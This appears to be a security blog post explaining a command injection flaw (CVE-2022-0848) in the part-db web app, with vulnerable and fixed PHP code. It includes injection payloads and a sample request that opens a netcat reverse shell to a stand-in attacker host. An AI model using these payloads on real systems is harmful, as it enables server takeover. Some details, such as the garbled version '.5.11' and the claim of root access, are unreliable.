Did you know a small bug in a web app could let an attacker run any command they want on your server? That’s exactly what happened with CVE-2022-0848, a critical OS Command Injection vulnerability found in part-db/part-db before version .5.11. In this post, we’ll break down what went wrong, show you code samples, links for further reading, and even walk through how an attacker could exploit this issue. All in simple, straightforward language.


## What is part-db/part-db?

part-db/part-db is an open-source tool for managing electronic parts. It's popular among hobbyists and professionals for tracking inventory, projects, and suppliers. As a web application, it runs on a server—so vulnerabilities can have serious consequences.

Affected Version: Before .5.11

- CVE: CVE-2022-0848  
- Risk: Allows anyone who can access a certain web endpoint to execute system commands as the server user.

How Did This Happen?

In versions before .5.11, part-db let certain user values flow directly into system shell commands without proper sanitization. Basically, if you could control some of the data sent to the application (like an uploaded file name or URL parameter), you could sneak in your own commands.

Suppose the app code (simplified for this example) did something like this

<?php
// Assuming $userInput is received from a GET or POST request
$userInput = $_GET['filename'];
$output = shell_exec("ls -l " . $userInput);
echo "<pre>$output</pre>";

If you visit

http://example.com/page.php?filename=.


That's fine—it runs ls -l ..

But if you try

http://example.com/page.php?filename=.; whoami

the command executed on the server is

ls -l .; whoami


Now the output of whoami (which tells you what user the server is running as) gets included in the web page!

This is OS Command Injection — the application runs commands built from user-supplied data, without checking or escaping for malicious input.


## The Real-World part-db/part-db Flaw

The security advisory (GHSA-mrhj-q6m9-8cw7) reported that the issue stemmed from unsanitized user input in the SVG export functionality. Attackers could provide filename or path values, and the application would use them directly in shell commands.

The relevant code (from before the fix) looked roughly like this

<?php
function exportSVG($svgContent, $filename) {
    // BAD: Uses user input directly in shell command
    file_put_contents($filename, $svgContent);
    shell_exec("inkscape $filename --export-png=$filename.png");
}

If filename contains something sneaky, the injected command will run as part of the shell invocation.

Let’s say the attacker sends the filename like

test.svg; touch pwned.txt

So the shell command becomes

inkscape test.svg; touch pwned.txt --export-png=test.svg; touch pwned.txt.png


What happens? The server creates an empty file pwned.txt, proving a command injection.

Alternatively, an attacker could use more dangerous commands, like spawning a reverse shell or downloading malware.

Example GET/POST exploit

POST /export_svg HTTP/1.1
Host: vulnerablepartdb.local
Content-Type: application/x-www-form-urlencoded

filename=test.svg; nc -e /bin/sh attacker.com 4444
svg_content=<svg>...</svg>

If the server has nc (netcat), this opens a shell to the attacker.

- Official CVE Entry: NVD CVE-2022-0848
- GitHub Security Advisory: GHSA-mrhj-q6m9-8cw7
- Patch Commit: Patch fixing injection
- Mitre Details: MITRE

How Was it Fixed?

The main fix was sanitizing user input and/or avoiding the shell outright. Instead of building command strings, developers started using safe APIs or carefully validated every argument.

Example (safe) PHP code

<?php
function safeExportSVG($svgContent, $filename) {
    // Only allow safe filenames (no shell metacharacters)
    $cleanFilename = basename($filename);
    file_put_contents($cleanFilename, $svgContent);

    // Use escapeshellarg to prevent injection
    $cmd = "inkscape " . escapeshellarg($cleanFilename) . " --export-png=" . escapeshellarg($cleanFilename . ".png");
    shell_exec($cmd);
}


Or even better, use functions that avoid the shell, like proc_open.

The Takeaway

A simple mistake—using user input in a shell command—can let anyone with a browser become root on your server. This is a textbook lesson in web application security and why good input validation matters, always.

If you run part-db, check your version and patch immediately. If you're building web applications, make sure you never let user data sneak into dangerous system calls!


Stay safe, and keep your code clean. For more details, always check the latest advisories and security patches.

Timeline

Published on: 03/04/2022 09:15:00 UTC
Last modified on: 04/08/2022 13:59:00 UTC